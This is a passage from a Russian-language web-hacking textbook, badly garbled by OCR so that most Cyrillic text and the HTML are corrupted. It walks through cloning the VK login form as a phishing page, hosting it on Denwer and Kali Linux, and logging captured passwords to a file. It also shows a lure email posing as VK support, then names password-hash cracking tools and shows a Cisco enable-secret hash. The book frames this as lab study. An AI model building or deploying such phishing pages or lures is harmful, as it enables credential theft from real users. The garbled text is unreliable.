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<FORM id="quick_login form" onsubmit="if (vklogin) {retum true} else {quick login():retum faise;}"
method="POST" name="login" gctiop="10.php" method="POST"><INPUT name="aci" -
value="login" fype="hidden"><INPUT name="role” value="al frame"
fype="hidden"><INPUT id="quick_expire_inpuf" name="expire" type="hidden"><INPUT
id="quick captcha_sid" name="captcha_sid" type="hidden"><INPUT id="quick captcha key”" %
name="captcha key" type="hidden"><INPUT name="_origin" value="http://vk.com" :
type="h.iddm"><]'NPUT pame="ip_h" value="cle4cb7fc48c9ab896" type="hidden™><INPUT
name="1g_b" value="848f3322ef72536b12" type="hidden™
<DIV class="label">Texedon Ara email</DIV>
<DIV class="labeled"><INPUT id="quick email" class="text" name="b1" type="text"></DIV>>
<DIV class="label">Tlapoms</DIV>

. <DIV class="labeled"><INPUT 1d="qmck . pass” class="fexi" onkeyup="toggle('quick expire,

" Mthis vah.\e) toggle(quick forgof, !this.value)"

* type="password"></DIV><INPUT class="submii" value="ﬂo:.\af;a 3ampoca” type="submit"™

<DIV class=""bution biue button wide"><BUTTON id="quick login buiton'>Boiie</BUTTON></form></DIV>

' <BUTTON style="display: none;"
id="quick_reg button" class="flat_buifon button wide button _big" onclick=" 'topshow Box('joinphp’, {act: ‘box’, from:
nav.strLoc})">Peracipaimms</BUTTON>

Puc. 1.15

u T. 0. [IpaBaa, u 310 1A Xakepa He Oema. Xyske To (Ul Xakepa, KOHEYHO, XyXKe, a He
U Hac), YTO Ha MHOTHX CepBepax aHaJM3HPYIOT COAEPKHUMOe MMEHHO Ha Cilydal pas-
MemeHus TaM uIMHroBoro caira. M, 6o 6e3:KanocTHO yIaioT GUIIMHIOBEIE CTpa-
HMIBE, 60 GIOKAPYIOT TONB30BATEN, T. €. 3MOYMbIIUIeHHNKa. Haiita mozxomsmumit
CEPBEp T YepHOTO Jefia HAYMHAIOIMEMY XaKepy He Tak-TO MpocTo. MBI e MopagoBaB-
HACH 3TOMY (DaKTy H Kak 3aKOHOIIOCIIYIIHBIE IPaKJaHe Pa3MEeCTUM MOIYYEHHYIO TECTO-
By {UINHUHTOBYIO CTPaHHUIy Ha COOCTBEHHOM CEpBEpE, a 3aTe€M YKpaJIeM Mapojib CaMu
y:€ebs;, B yueOHBIX NeNaX. IT0, KCTaTH, JaeT HaM XOpPOIIMH MOBOJ YIIOMAHYTE O 3aMeya-
"PEABHOM ‘a0COMOTHO OeCIIaTHOM NPOrpPaMMHOM HMHCTPYMEHTApHH, DKCHTIHEMEHCKOM
Ha0ope, NPOCTO He3aMEeHWMOM TpH oTiajke caifroB: Denwer (http://www.denwer.ruw/),
puc. 1.16. YI06HO UMETH Takoe CPEACTBO LA Pa3IMYHBIX SKCIEPHMEHTOB, B TOM YHCIIe

JOeHsep - noKanbHbiM cepaep. CKaua'rb [exsep, HAeksep

yctaHoeuts WAMP cepaep ans focathost (PHP 5.3.13, .

MySQL 5.1, PostgreSQL 8.4 etc.) . . Boamguiocts nposiae
LXeHTALMEHCKI HaGop Web-paspaboTunka («1.H.W.ps, WMTaeTCs «JeHBep») — npoexT Yarenenud (CHANGELOG)
Onyrpng KOTepoes, NokansHsid cepeep (Apache, PHP, MYSQL, Perl i 7.4.) 1 Vi

nporpaMMHan obono«ua. nenoibayersie W = v Ans pa3palioTky caitoe ZSia0AuAMBACH [IeNgep
H3 AL {: ot} W ﬁﬁ ﬂeoﬁxmmnocm 8bHIXCAA 8 Bawa Pexnana ua cafite
WhHTepHer. I ocobenHoCT pa — yROGCTBO NpKn yaanennod patore cpasy | ; .

HAJ HECKONLKMMY HESABMTHMLIMY NDOSXTAMY ¥ BOSMU»(HOCTI: pasmenienms Ha Flash-

Haxonwiene. !

A R

Puc. 1.16
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| JUIA OTJafKU Ge30MacHOCTH NP M3yYeHHH OCHOB BeO-XakuHra. IIpy CKauMBaHWM Bac
MONPOCST 3apPETUCTPUPOBATHCS, M CCBUIKA OyeT IMPHCIIaHa Ha Balll [IOYTOBBIM SAIIHK.

IIpu ycraHOBKe NMporpaMMel ydine Beioepute BapuaHT 2 (puc. 1.17). MHcTammamus: npo-
HCXOAUT OBICTPO M MPOCTO: Kakue-THOo crienanbHbIe 3HaHUs He TpeOyroTes (puc. 1.18).
Crapr cepBruca OyneT nIpor3BOAUTHCS Mociie BIOopa sApibika Start Denwer (puc. 1.19).

Konupywrca oanab, »auTe...
O6HOBAAACH NAPAMETPH KOHOUI YPAUMHM . - .

fleHBep MOXET 3aNycKaTLCA B ABYX pexumax:

1. Bupryaasuwi nuck cosnpaetvca [IPH 3ATPY3KE OC. 3anyck cepsepos
0CYUECTBARETCA C NOMOWLIO APANKA HA Pasouer ctoae. [lpu 3aBepueHun
pasoru flensepa BupryaabHwmi gauck HE otkawuaertca.

* JTOT pexur PEKOMEHAYETCS HCMNOAL30BaTb, €CAM BHM COGMPAETCCH
UCNOAL3IOBATH BUPTYaAbHLU AMCK, HE 3anyckas cepsepos (Hanpumep.
XOTUTE 3anyckarb Perl-ckpunTm HEe TOAbKO W3 6pays3epa,. HO W U3
KOMAHOHOW CTPOKHW) .

2. NMpu sarpyske OC suptyasbnuwn auck HE cospaervca. Ha Pacouenm croae
TaKke, KAk W B N. 1, CO3RANTCH APABKH AAR 3aNYycka U OCTAHODBA G
Npu 3anycke cepsBecpoB BHAYAAE CO3AAETCA BHUPTYAALHBIKN AUCK, NOCALR
0CTaAHOBA AUCK OTKANYAETCH .

* Heo6X0nMMO NOMHUTb, YTO B 3TOM pPexMMe NpM HeakTusHon flewsepe ne

* §ypeT QOCTYNA K BUPTYaabHomy uucky (B yactHocTu,. K Perld.

»* Kpore voro, Hexkoropwe sepcuu Windows He ymewr NpasHALHO OTKANYQTH
* pUpTYyasbHm puck (Tpeeyerca nepe3arpyskad

Pexorennyerca BwM6pars BAapHaHT 1, NOTOMY YTO OH HAUE0AEE YNOEEH.

Beeaure 1 waw 2 [11:

Puc. 1.17
JeHBep ycneniHo YCTAHOBJIEH >
97008t #a9ATH ats JeHsep, np 1y Ty ReficTBHI: M
1. 3amyctute Heunep, ys Start D ua PaGoaen craste. Ecis BH He CO3MaBanA SPILIKHK, TO MOKHO 3aMyCTHTD
Jlensep no RoMauge C: \WebServers/denwer\Run.exe.
2. Otrpotire Spaysep i mepeitnure Mo anpecy bpAocathost.
3. Bu YBAZETS T VIO C
4. Eumnome:an):xnﬂeuncpah@/'locnﬁmstmm pLTe, He P s [leABep Rammd aHTHRHD win daep Hanpanep
6o 3ameveHE! npobnemn ¢ NOD32 B Windows XP (B rex ﬂymo 106aBHTE NIp X:fusr/local/apache/bin/hitpd.exe 8 cnncox ¥, 370 MOKHO
caenats B okae IMON/Hactpoit 'Paanoe/ﬂ ).
Puc. 1.18

Puc. 1.19

Iocne ycranosku Denwer Ha Bam kommbiotep BbI nomyuure WWW-cepsep (Apache)
BHYTpH Halled CeTH, JOCTYNHBIA mo anpecy http://127.0.0.1 (T. e. Ha CBOEM KOMITbIOTe-
pe), ¢ nonHoit nomnepxkkoit PHP (na emne u MySQL, u Perl Bxo6aBok), puc. 1.20 u 1.21.

Hoxka 9ro npu mepexoze mo ccsuike http://testl.ru (puc. 1.21) Be1 nosyyure coobmenue
"O10 daiin /home/test]l.ru/www/index.html". Hama 3amaua — 3aMeHMTh 3Ty CTPaHHMILY
CBOEH, HCITPaBICHHOM IS QUINMHTA.
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T

Puc. 1.20

Puc. 1.21

KonupyeM Hally TeCTOBYIO (UIIMHrOBYIo crpamnmuy B karaior C:\WebServers\home\
testl.ru\www cepBepa (T: K. 10 YMOJTYaHHIO MBI ycTaHOBIIM Denwer Ha muck C:\ B nan-
Ky C:\WebServers) — puc. 1.22.°

\

ITocne sToro mepetineM ¢ OCHOBHO# cTpanuIbl Denwer 1o cchUike Ha testl.ru # yxe yBu-
JIMM TECTOBBIH (HMINMHTOBLIH CaifT, 4TO-TO OUYeHb HaM HanoMuHaromui (puc. 1.23).

B mone Tesepom mam email BBemeM Ham moGoif TECTOBBIN JIOTMH, HampuMep
menshikova@mail.ru, a B mosne Ilapoas — mmo6oii mapons, Hanpumep 3qazp;/QAZP:?.

ITocne HaxaTws Kiauy <Enter> win kHOkH BoHTH Hac mepeOPOCHT Ha HACTOALIMIA
caiiT (11 ‘aTaKyeMoro 5TO MMHTAIs TOro, YTO IPOCTO HE MOJYYHIOCH MPABWIHHO
‘C TepBOro pas3a BBECTH YyderTHbie HaHHBIe). M, B karanore C:\WebServers\home\
testl.ru\www nosiBwics (aiin pass.log ¢ HICKOMBIM JIOTHHOM H mapoiieM (puc. 1.24).
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BIONTRNTE ~ YHVBEPCAIbHOE CPEACTBO 1N OGIHEHIHA ¥ TOWCKA APY3EH 1 OAHOKAACCHIKOS,
KOTOpHIN YIOTCR RECHTIH Mu

“Momewtanguas perwcipanss

<br> menshikova@mail.ru:3gazp; /QAzP:7? '

Puc. 1.24

Taxkum o6paszom,.ObiTa MpoBepeHa paboTOCTIOCOOHOCTh (PUIMIMHTOBOM TECTOBOM CTpaHM-
1. [Ipu ee HCnob30BaHUM JIOTHHBI ¥ TapONTH GyyT 3alMCHIBATECS, OC/IE YETO MOJIB30-
BaTesb Oy/ieT MepeHanpaB/ieH Ha HaCTOAIIMI CaiT.

Vroxnas nporreHukaM Windows, omimem emme oiuH croco6 I OTIaIKK GUIIMHTOBOK
TecTOBO# cTpanmitel. C 3To# Hemnpio OyaeM ucnons3oBathk Kali Linux (panee BackTrack).
TewM Gornee, 4T0 OH MOHANOOUTCS HaM eIe HEOJHOKPATHO.

TpoekT mpezcTaBiseT co60i HaGOp MPOrpaMM, CTIELMATBHO PeAHA3HAYSHHBIX IS TeC-
THPOBaHMA Ha 6e30mMacHOCTh, CO3JAaHHBIM Ha Ga3e HECKONBbKMX Linux-mucTpubyTHBOB.
Bce Haubonee M3BeCTHBIE. IPOrpaMMBI, CBA3aHHBIE C TeMOH "6Ge30macHOCT", cOOpaHBI
B "onuH ¢akod". O6pa3 qUCKa MOXKHO MOYYHTb MO a/IPECy: '
https://www .kali.org/downloads/

Yro6bl y Bac Bce MOTywIIOCH HABEPHAKA, M3 BCEr0 MHOr0oOpasms, IPeILIaraeMoro pas-
paboTumkamm, JTydme Bcero ckayaeM o6pas (iso) — Kali Linux 32 bit. 3amucats na
IIMCK 3TOT 00pa3 MOXKHO Jo6oii noxxonsameii mporpammoii, Hanpumep DAEMON Tools
Lite — oHa GecruraTHas.

3mech 1 gajnee Mbl OyAeM HNpOCTO 3arpyxarbes ¢ qucka 6e3 ycraHoBku Linux Ha xxecTkuit
JIUcK. [y HamMX OMBITOB 3TO OYeHb YIOOHO.

Hrax, 3arpysumcs ¢ mucka Kali Linux, eibpas Live (686-pae) (puc. 1.25).

Jins Havana 3amycTuM BeG-ceppep Apache, ncroms3ys merio Applications | Kali Linux |
System Services | HTTP | apache2 start (puc. 1.26).
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Boot menu

& (686-pas)
e GG pae Sail

i mid

st

Puc. 1.25

Accessories
+$ Electronics
m Graphics
@ Homradio

@ Internet

byf Programming
) i > J
w Sound & Video % Web Applications

@ System Tools ’ o Pussword Attacks

" Y oo
e Univarsat Accass .ﬁ,, Wireless Attacks
% Qther

>
s Vuioerability Anatysis

L~ Exploitation Tools
&4 sriffing/Spoofing
a' Mairtaining Access

g Revarse Enginaaring

’;:‘? Stress Testing

‘g Hardware Hacking
@I Feorensics
@5} Reporting Tools

ﬁ.ﬂ' Metasploit
37T mysat
ﬁﬂ. OpenVas

§7 ssH

Puc. 1.26
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CraproByio ctparmy WW W-cepBepa Tak Xke Hy»KHO 3aMeHHTH CBOei. [list atoro daiiisr
paHee IOArOTOBJIEHHOH HAMH TeCTOBOM (PMINMHIOBOM CTpaHMI (yKa3aHbl Ha puc. 1.22)
KOIHpYeM B HaIKy /var/www, IpaBJa, C OJJHOM JIMIIb pasHuel: ¢aitn index.htm HyXHO
neperMeHOBaTh B (aitn index.html. Y kpome Toro, 3/1ech e ClIeayeT pasMecTHTh (aiil
¢ uMeHeM pass.log (mycTs moka XoTs GBI IMyCTOM, YTOOH! Takke Ha3HAYUTH Ha HErO HeoO-
XoIuMEIe fpaBa), puc. 1.27.

.

Ocranoce coscem HemHoro! ‘Ha Bce ¢aiimel (Bkmodas iokeHHEle B manke index_files)
Hy)KHO Ha3Ha49WTh COOTBETCTBYIOIIHE IIpaBa CIEXYIOIMMM 0Opa3oM: INETYKOM IpaBoi
KHONKH MBIIHM BbI3EIBAEM KOHTEKCTHOE MEHIO, B KOTOPOM BBEIOMpaeM KOMaHIy
Properties. B niosBuBImeéMCs: 1UAIOroBOM OKHE Ha BKiIanke Permissions i Bcex moms-
soBareneii B rpymme Others ycranasnueaem noctyn Read and write. A nis daiina
b0.php eme um B mapamerpe Execute otmeuaeM ¢uakok Allow executing file as
program, pa3pemaromuii BEIIOJHEHHe MporpaMmel. [IpuMep HasHadeHHs mpaB Ha (aii-
JBI TIpeQCTaBlIeH Ha puc. 1.28.

index_fites

index.html pass.log

Owner:

Access:

Group:

Accass:

- Others

Access:

Execute: @‘mw exeacuting fite as p@

SELinux context: unknewn

Lest changed:  Fri jut 24 17:45:37 2015

Puc. 1.28
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Ha camy marnky index_files Hy)xHO Ha3Ha4WTh IIpaBa Tak: B KOHTEKCTHOM MEHIO BhIGEpeM
komaHay Properties, B 1uanioroboM okHe Ha BKJajike Permissions 111 Bcex monb3oBa-
teneit B rpynme Others g napamerpa Folder access BriGepem 3HaueHue Access files
(puc. 1.29).

. index.files Properties

Parmissions 1

Owner:

Folder accass:

Fite access:

Group: -

Folder sccess:

ELS e e e S S e

Fite access:

Qthers

Folder access:

File access:

Execute: & Atlow exetuting file as program

SELinux context: unknown

Last changed:

e

Puc. 1.29
IToce sToro BeI3OBeM Opaysep, ucmonb3ys MeHio Applications | Internet | Iceweasel
Web Browser (puc. 1.30).

Applications Pl
xﬁ' Accessorias

#a Electronics

m Graphics

@ Hamra

tnr
"\, Kati Linux
W D\fﬁce
Atf Programming B
ﬁ Sound & Video .

@ System Teols

Dasktop Sharing
.» @ Empathy Internet Messaging

> Ettercap
>

Puc. 1.30
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e

. DoGpo noxanosars Iﬁfomme-‘iceweasel

Tﬁnéﬂmu s erail : }iﬁﬁ»e#ﬁ%&m& -

BKoHTaKTe — YHUBEPCAnbHOE CRRACTEO ANA OBILEHUA M NOWCKA ARY3eN N g

KOTOPEIM EXEAHEBHE NOAL3YIOTCA AECATKM ]

Fotith

3afuiny NepoaL?

—
| Mowewranuan percrpauss
(s e
[Buagae |

Puc. 1.31

HakoHel, MBI CMOX@XEM BBI3BAaTh Hally TECTOBYIO (DHIIMHIOBYIO CTPaHHMIly IO ajpecy
127.0.0.1 (puc. 1.31).

Ho ucnertaTh Ham nmpuMep Tak, YTobbI cpaboTana nepeajpecanys K HaCTOSIIEH CTpaHH-
1ie, MBI ITOKa He cMoxkeM. Crienyer eie Hactpouts Kali Linux ms coexunenus ¢ MHTep-
HetoM. B 3Tux nemsax npu 3arpyxessom Kali Linux BeiGepeM 3HauOK, CUMBOJIH3HPYIO-
Ui napy KOMITBIOTEPOB, B IPaBOM BEpXHEM yTIIy 9KpaHa (puc. 1.32).

BriGepeM MMeEIOIIyIOCS TOYKY nocTyna (poyTep), B HameM mpumepe 370 AndroidAP
(puc. 1.33). ’

VPN Connections

Connect to Hidden Wireless Natwork...

» Create New Wireiess Natwork..,

Puc. 1.32 Puc. 1.33
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‘asswiords oF encryption keys are required to access the wiretess network

N e i

FTAERERNERES

»Sﬁuﬁpﬁs&wsr&- .

Puc. 1.34 '

Beeznem napoiis 1ocTyna 1 HaxmeM kHonky Connect (puc. 1.34).

CoenpHeHHE YCTaHOBHTCSA, O YEM CHCTEMAa HAC HE3aMEUIMTENHHO MpOMH(pOpMHpYyeT
(puc. 1.35).

B

Connection Established

Puc. 1.35

CreHn U1 MCTIBITAHUA PabOTOCIOCOOHOCTH CKPHIITA TECTOBOH (DHIIMHTOBOM CTPaHMIIBI
rotoB. Mo)xHO Mpo6OBaTh BBOAWTH JIOTHHEI U ITAPOJIH.

1.3. CounanbHas UHXXeHepusa

Hrak! TecroBas ¢puiumMHroBas crpaHHlla OTJIaXKeHa, oHa pabotaer. Ilaponu cobuparorcs
B 3a/laHHBIi (aitn. MbI ykpaii ydeTHbIe QaHHbie caMH y cedd... BoT 310 fa! CoBceM yx
KaK yHTep-odHLEepCcKas BIOBa!

Ho najpine BO3HHMKAeT BIIOJHE OKMAAEMBIH BOIPOC: @ KaK JKE XaKep 3aCTaBiISeT KePTBY
TOCETUTh UM CO3JAHHBIN MOJUIENbHBIH caifT? OQUH W3 IMUPOKO M3BECTHBIX MPHEMOB —
¢ MOMOIIBIO BUPYCOB MOAMEHUTH (haiin host Ha koMIBIOTEpe KEPTBHI ¥ TaKMM 00pazoM
BCE 3allpOCHl NIEPEHANpPABIATh Ha (UUIMHTOBBIN caiT. Ho 3TO He Tak mpocTo, U MBI KO-
POTKO PacCMOTPHM COBCEM APYTOH, OoJiee JIETKHI IpUeM, Takke HEPeaKOo IMPUMEHIEMbIH
XaKepaMH.

Xakep, mycTh Jake ¢ nomompio nmporpammel Outlook Express, H3roTaBinMBaeT U Hampas-
JIsIeT BCeM NOTEHLUAIBHBIM JKepTBaM (anbIIMBOE MUCHMO, HAaIPUMEp, TAKOTO COepiKa-
HH, KaK IPe/ICTaBJIeHo Ha pHc. 1.36.
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or CnyxBa Texsmueckoit noagepxiw Brontaxre! 10 ABIYETR, 1505
Komy: pashafl - vol @rambler.ry

3apascreyret ==
Cryxba rexnuuetkoi nogaepwn Biowrakre uaq)opmpvet Bac o nogospuensHoi ams;mcm POABARSMUR

|2 omrowenmn Bawed yueHol 3anucH, BHTERNPETPYENOR HAWWMY SBTOMATHYECKIMH CHCTEMAMY K3k BOIMONHASA
| AERTeRLHOCTL DoToR.

Hacronvenbuo uengyes Bas aposep ROCTH HHLIX M8 O JEKAYHTA.
Cnyxba reximvecksit nogaepwry Brovwaxrs!

) koHTakTe
hitp.fivk.com

+ et D

IAeCh CChINKa

) ' :avust! Zro coobuerne ceoBoAHO OT BHPYCOR ¥ BPACHOCHOID HG
= defee  Antivirus 3a3uiWTa aKTUBHA.

Puc.1.36

He ¢akr, koHeuHO, YTO TIOHOOHBIN mHpueM (corMansHas HikeHepus) cpaboraer! Ho
B KakKMX-TO CIIy4asx MoxeT W moiyuuthes! [To GopmoMy cueTy conepikaHue MOXET
OBITE JTFOOBIM, JTAIIG OBl 3aMHTEPECOBATH MOMyYaTels IEJKHYTh IO CCHUIKE.

IMonsaTHO, 9TO CChUIKA JOJDKHA OBITH HE TaKoi, kak B HammeM HpuMepe Ha puc. 1.36, a
IepeHanpasIATh MIMEHHO Ha TOT CepBep, I'7le pacnonaraercs (GUINAHTOBEIA caiT. Opra-
HU30BaTh TAKOE MUCHMO U (QMINUHTOBEINA CaliT (CMOTPHUM BBIIIE) TEXHAYECKH OYEHb IIPO-
CTO U1 JHOGOro HEMPOABHHYTOrO Mojb30BaTeNi. Eme pa3 HanoMuHaeM: 3Ta POCTOTa U
cOMBaeT HEKOTOpBIX Ha KpUMMHAIBHBINA MyTh!!! Hukakux cnenuanbHBIX HHCTPYMEHTOB
He Tpebyerca. Outlook Express mo3BoiseT BCTaBUTh B TEKCT INMHChMa KaK CCBUIKH
(puc. 1.37), Tak u kapTHHKH. BaxxHo mpu 5T0M, YTOOH! B OKHE, OTKPHIBAEMOM KOMaHIIOH
MEHIO IIapameTpul OrnpaBka coobmennii | @®opMaT OTHPABASEMbIX COOOIMEHHH
nporpammsl Outlook Express, 6bu1 yctanonen @opmar HTML.

Y

* Co2aaTh Coobule HHe

BnoxeHnve daiina...
TekcT w3 datina...
PHCYHOK. ..
[OpH3OHTaNbHaNA AMHKA

BriaTHas £3pTeYRR
Moanuce

Puc. 1.37
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Jlpyro¥i crioco6 oTchUIaTh NOTEHIUATBHEIE XKEPTBEI Ha (HUIIMHIOBBIE CANTHL: Pa3MECTHTE
KaKo#-HUOY/(b KpaCHBBIH CalfT, IpUB/IEKAIOIMNIF BHUMaHHME "OecIUIaTHBIM ChIpoM”. A Tam
BHEJPUTh KapTHHKY ¢ JIOTOTHIIAMU W3BECTHBIX IIOYTOBBIX CEPBHCOB, COLMANILHBIX CETei
U TIEPeHANPaBJIATh JOBEPYMBLIX MMOCETUTENECH, MIEIKHYBIIMX O KaKOH-THO0 KapTHHKE,
NEPBOHAYAIBHO Ha (habINMBBIE peCypChl, YTOObI NIEPEXBATHTH MApPOJb, & YK MOTOM 10
TIpsMOMY HazHadeHmo. [IpueMoB-31ech MHOXKeECTBO!

B KoHIle KOHIIOB, XaKepy M 'He 00A3aTeNBHO KpacTh MAapoJii Ha (QHIOMHIOBOM caifTe, OH:
MOXeT MPOCTO BBINOJIHMTE CKPUITT Ha KOMITBIOTepe >KePTBHI (Kak IpaBuio, paboTaromeit
€ MpaBaMH JIOKATBHOI'O aJIMHHHMCTPaTOpa), HO 00 3TOM. moApoOHee — B IabopaTopHOM
paborte B 2nase 5. '

B CBA3H C TeM, 4TO COLMATLHAA HIDKEHEPHS — 3TO BOIIPOC TICHXOJIOTHH, 2 He POTrpaMM-
HOrO HHCTPYMEHTa, MBI OCTABUM 3Ty TEMy.

B otHOmeHMH 06CcyXAaeMBIX 3/1eCh NMPUMEPOB MPO (GUINHHT OCTaeTcs TOJBKO JOOABHTH,
4To colanbHas ceTh "BKoHTakre" — opraHmsanus o4eHb MOLIHAs, U €CIIH XaKep pas-
MecTHT GabIIMBBIM CaiiT, KIIOHMPOBAHHEIH C €e pecypcoB, TO ero (Xakepa) B CKOpPOM
BpPEMEHH 3aKJICHMAT MO30pOM M "3aKHIAIOT TalmkaMH'. A BOT €ClIM 10 NPUBEAEHHOMY
anropaTMy OyZeT ocylIecTBIIeHa aTaka Ha CalT KaKoi-HHOYIb HEOOJBINOM OpraHH3aIuH,
TO 3TO BIOJIHE JJaXKe MOXKET OCTaThCs He3aMEUEeHHBIM.
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Xaw-hyHKLUUM naponei.
LincdbpoBaHue ceTeBLIX COeANHEHUN

2.1. HeMHOro O X3WWPOBaHUM NaPONeNl.
NMpotokonbl SSH. GN3, Wireshark, PuTTY

MbI He MOXEM He BEPHYThCS K PasroBOpy O NApOJSX B CHILY BXHOCTH 3TOM TeMbL. TeM
6oJiee, YTO ITO MOMOXKET HAM TIOHATH METONOJIOTHIO (OpMHUPOBaHMSA CTEHIOB 1S U3yde-
HUA IeHCTBHIA XakepoB K COOTBETCTBYIOMIUX METOOB 3allUTHL.

B GompImMHCTBE CiTydaeB IIENBIO XaKepa ABJISeTcs Mapoib cyrneprnonb3oBareis. [Toaydns
¢uzHYecKkuit JOCTYN K XOCTY, "B3JIOMaTs" Mapoiib JOCTaTOYHO MpocTo. [ 3Toro cyie-
CTBYET Macca Crioco0oB.

Wnu ewme, k mpuMepy, MOXKHO HCIONIB30BaTh METONBI 3aMEHBI TTapoJIA CyTepIoIb30BaTe-
Ji, 3arpy3HBIONCH CO CIENUAIBHO MOATOTOBJICHHOTO NHCKA M BHECSH M3MEHEHMS HEIO-
CpeACTBEHHO B daiii, coneprkamuii 6a3y yd4eTHBIX 3amMcei mosp3oBaTencii. B onepanm-
oHHoM cucteMe Windows Takue 3amucu ¢ X31-GyHKIMAMH [Tapoieil XpaHATCs B TaK Ha-
3piBaeMoit 6aze SAM — Security Accounts Manager (1 06 3TOM B NOC/IEAYIOMHX IaBax
eme moizet peus). B UNIX-cucremax 3o Moxxer OBITH paiin Tuma etc/shadow.

Ho nono6Heie npueMsl He JaloT 3JI0YMBIIUIEHHUKY (akTHyeckoe 3HaueHue naponi. OH
MOXKET TOJIBKO 3aMEHUTh HEM3BECTHBIH eMy napoiib. EcTecTBeHHO, 4TO, BO-NIEPBBIX, NMPH
TaKOM TIO/IXO/e OCTAIOTCs CleAEL. Bo-BTOPEIX, eci TpebyeTcs MpOYMTaTh COACPKHMOE
(baymon 3aKM(pPOBaHHBIX CTaphIM MapoiieM, To 310 Gyzer HeBo3MOXHO. U camoe rnas-
HOe — TpebyeTcs PpU3MUECK it JOCTYN K KOMIIbIoTepy. JIeHCTBYS B FeTEPOreHHBIX CETAX
Kak pa3Be4HK, XaKep HINET BCe, YTO. /i€ IUIOXO JIEKHT, HOCTENEHHO YCWINBask CTENICHb
CBOETr0 IPOHHMKHOBEHWs. I103TOMY, HE HMes (H3HYECKOro AOCTyNla K KOMIIBIOTEpY,
HO MOJIyYydB B pe3ynbTaTe KaKkoro-THoo yIylmeHus aJAMHHHCTPAaTOpoB ¢ain ¢ x3mI-
¢yHKumsaMu naponeif, OH MPOCTO: MOHKITAETCA MMEHHO "B3JIOMAaTh", a HE 3aMEHHTH Ma-
POJIb, KaK MBI ONIUCHIBATH paHee.

Jiis B3noMa maposied 1o X3mi- ¢ymcmm CYLIECTBYET MHOXECTBO I'OTOBBIX IPOrPaMM.
HaszoBem numb Hexoropere: Johifi “the Ripper, LOphtCrack, SAMinside, Ophcrack,
RainbowCrack, Md5 Crack Monsteér & ap.
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Eciu noka He 3aTparuBarth BOTPOCH IPMMEHEHUs Paly KHBIX TaGIHII (2, YECTHO TOBOPS,
JaHHad I71aBa SBISIETCS MMOATOTOBMTENBHOMN I M3yYeHHs MMEHHO 3TOTO BOMPOCA), TO
BCe Jke HauboJiee MHTEPECHO MPUMEHEHHE rpadMuecKuX a/lalTepoB I TONydeHH Ha-
poic U3 XdI-QYHKIMI. A Ui TakMX LeNieif o9eHb xopoina mporpamMa Extreme GPU
Bruteforcer (EGP), www.insidepro.com. Bpsix i BHI Halifiere Takoe KOJHYECTBO Tpa-
¢drdeckux afanTepoB, yBENMIUBAIOIHX CKOPOCTH OpyTdopea 10 CTPamiHbIX CKOpOCTei,
KaKoe MOJKeT MOJAACPKHBATh 3Ta 3aMevarejibHas IporpaMma (3aMeuartesbHas, XOTS Ha
Hee U pyraiorcs aHTuBipycsl). Ho naxe oaun aganrep 1act HECOMHEHHBIE TIPeMMYIECT-
Ba. IIporpamMa nmoHumaer npumenenue "conu". OIUH HEOOCTATOK — IpOrpamMMa IUIaT-
Hasl, GecrimaTHas ee Bepcusl UMeeT OrpaHHICHUS.

Kcraru, Ha caiite http://www.password-crackers.ru ecte MHOrO HHTEPECHOTO JyIsl BOC-
CTAHOBJICHHS TIapOeH.

Co BpeMEHEM COBEPHICHCTBYETCA HE TONBKO 00OPYIOBaHHE W MPOrpaMMHOE obecrede-
HHE; HO H-TOJ OT roJla pacTer KyJbTYpa HOBEIeHHsI CaMHX aJJMHUHHCTPATOpOB (B ILIaHe
obecrnieyenns MMH MH(OPMAIMOHHON Ge30MacHOCTH). ABTOpP TIOMHHMT €Ille T€ BpEMEHa,
KOIJIa MHOTO JIeT Ha3a[ B JOCTATOYHO CEPhe3HBIX CETAX HAXOMWa (hailTbl C BEITPYMKEH-
HBIMH KOHQUTYpatmsiMu MapupytusaropoB ¢upmsr Cisco. Kondurypanuym Beirpyxa-
muck ¢ npumeHeHueM TFTP-cepsepa i GOXpaHEeHHd B 00IeAOCTYIIHOM KaTaJiore.
Maro toro, 9ro daiitel GbLUIM AOCTYIHBL TyTh JM HE KOKAOMY TOJB30BATENIO CETH, TaK
elIe M NapoJib ISt BXOJA Ha OJIHY W3 JIMHMH B KOH(HIypauoHHOM (aiine GBI B HCTOM,
OTKPHITOM BHJE, O3 npuMenenus x>m-gpynkimn. M, yro BooOme xyxe ObITh He MOXeET,
KaK OKa3ajloch, Mapojlb enable GBUI TOYHO TAKHM €. AJMHHMCTPAaTOp CETH, SBIAACKH
JOCTATOYHO KBATM(UIHMPOBAHHBIM CTICLHAANMCTOM, HCXOMWI M3 MPUHLMIIA: MOJIb30BAaTe-
7B BCE PAaBHO B 3TOM, T. €. B KOHGUIypaLmsx crielM(HIHbIX YCTPOHCTB, HAYEro He mo-
mmam Koaetmo Ke, celuac BpsJi JIM Bbl Halizere Takoil daiin B oTkpeiToM BHe. Ho
'~ Bee ke JIOAM HE CTATH MeHee GecriedHbl. W ecni He3aNawIMBEIA aJMHUHUCTPATOpP, XpaHs
KOIMM KOH(UTypammii B JOCTYITHOM MecTe, PETIOJaraeT, 9To Mo X3r-(yHKIMM mapo-
Jiel NOoNyYHuTh JOCTY 3aTPYAHUTENBHO, TO 9TO SBHOE 3a0.IyKICHHE.

PaccMOTpUM CKa3aHHOE Ha KOHKpeTHOM mpumepe. HICHonb3ys cBoGOOHO pacmpocTpa-
Haemyio nporpamMmy GNS3 (http://www.gns3.net/) misi umuTamm paGoTel YCTPOMCTB
¢upmel Cisco B J1IaGOpaTOPHBIX YCIIOBHSX, IOCMOTPHM KOHQHTYPALMIO €lle "4ucToro"”,
mo6oro He HACTPOEHHOTO MAapIIPYTH3ATOPa, BHHIONHHB KOMAHJY enable, 4 3aTeéM show
running (pHc. 2.1).

Teneps nepeiiieM K KOHDUIYPHPOBAHMIO POYTEpa TAK, YTOGHI IOMYIUTH X3-(pYHKLMIO
napois enable, HMEIOMEro MPOCTOE 3HAYEHHE abcl23. Takod HeMpaBWIBHBIH, IPOCTOI
Mapojb Mbl YCTAaHOBHM, KOHEYHO JK€, YMBIIUIEHHO, A yCKOpeHrs noabopa. 3axomum
B MEHIO KOH(UTypHpOBaHHsA poyTepa (KOMaHIa conf) H: ycTanaBiuBaeM TpeGyeMbli na-
poJb (KOMaHJA enable secret abcl23, KaK MOKA3aHO Ha PHC. 2. 2)

IIpocmoTpuM Kombm'ypaumo BBITIOJTHHB KOMaHAy show run (pnc. 2.3).

Xo1-pyHKIMs 3aJaHHOTO HAMH napom enable IMOJTYYHIACH SICAYIOMCH:
$1$VRu4$ /Nw/GRY 9WrNOfF40JbthAl LAl
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MapuipyTusatop c1700 - ¢
MappyTtrsaTop c2600
